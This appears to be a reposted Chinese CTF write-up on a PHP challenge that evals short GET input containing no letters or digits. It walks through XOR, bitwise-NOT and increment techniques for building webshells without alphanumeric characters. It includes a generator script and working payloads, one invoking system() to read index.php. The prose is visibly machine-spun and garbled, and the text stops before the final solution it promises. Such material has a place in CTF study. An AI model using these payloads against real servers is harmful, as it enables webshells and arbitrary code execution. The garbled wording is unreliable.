变成了一个语言结构(类似eval)
标签:
0x00 问题 <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>读一下代码,我们要对code进行传参,code的参数在颠末调动后以不含字母数字的形式结构任意字符,并且字符串的长度小于40,
然后再操作 PHP允许动态函数执行的特点,拼接处一个函数名,,这里我们是 "getFlag",然后动态执行之即可。
上篇文章就提过了,三种要领,这里我们继续深入:
来源:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
php5中assert是一个函数,我们可以通过$f=‘assert‘;$f(...);这样的要领来动态执行任意代码
但php7中,assert不再是函数,酿成了一个语言布局(类似eval),不能再作为函数名动态执行代码,所以操作起来稍微庞大一点。但也无需过于担忧,好比我们操作file_put_contents函数,同样可以用来getshell
我们有三种要领来结构webshell:
1:异或。
在PHP中,两个字符串执行异或操纵以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或功效是这个字母即可。
在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将功效从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操纵有时也被用来交换两个变量的值
想得到我们想要的异或后的字符:
<?php $l = ""; $r = ""; $argv = str_split("_GET"); for($i=0;$i<count($argv);$i++) { for($j=0;$j<255;$j++) { $k = chr($j)^chr(255); \\dechex(255) = ff if($k == $argv[$i]){ if($j<16){ $l .= "%ff"; $r .= "%0" . dechex($j); continue; } $l .= "%ff"; $r .= "%" . dechex($j); continue; } } } echo "\{$l`$r\}"; ?>这里的话我们异或只能结构GET型,POST不行
然后共同${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数。抛开这道题,我们还可以: ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("type index.php");&%ff=system。
exp:
2:取反结构
和要领一有异曲同工之妙,独一差异就是,要领一使用的是位运算里的“异或”,要领二使用的是位运算里的“取反”。要领二操作的是UTF-8编码的某个汉字,并将此中某个字符取出来,好比‘和‘{2}的功效是"\x8c",其取反即为字母s
3:自增结构
参考链接
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操纵。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并操作这个特点进行一些非通例的操纵。如将整型转换成字符串型,将布尔型看成整型,或者将字符串看成函数来措置惩罚惩罚,下面我们来看一段代码:
<?php function B(){ echo "K0i"; } $_++; $__= "?" ^ "}"; $__(); ?>1:$_++;这行代码的意思是对变量名为"_"的变量进行自增操纵,在PHP中不决义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对不决义变量的自增操纵来得到一个数字
2:$__="?" ^ "}";对字符"?"和"}"进行异或运算,得到功效B赋给变量名为"__"(两个下划线)的变量
3:$ __ ();通过上面的赋值操纵,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码暗示挪用函数B,所以执行功效为K0i。在PHP中,我们可以将字符串看成函数来措置惩罚惩罚。
我们但愿使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的对象。
0x02 解决问题最开始我们想到操作异或解决问题:
怎么生成我们需要的异或后的字符呢?好比_GET?
一个一个试就太麻烦了,我们操作下面的这个python3脚本:
ps:上面的PHP脚本也行,但是我本地环境问题并没有运行出来。。
我们看到
生成了多组数据,任意取一组就行,注意挨次:
好比:
最后凑出:
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag我们这里的payload是把前面和后面分袂放在了一起,很明显前面都是%fe
最告成挪用get_the_flag函数
回到问题,异或要领并不成以,
最后结构的字串远远赶过了长度len=40
我们该如何结构这个字串使得长度小于40呢?
以下解决方案转载自:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30707.html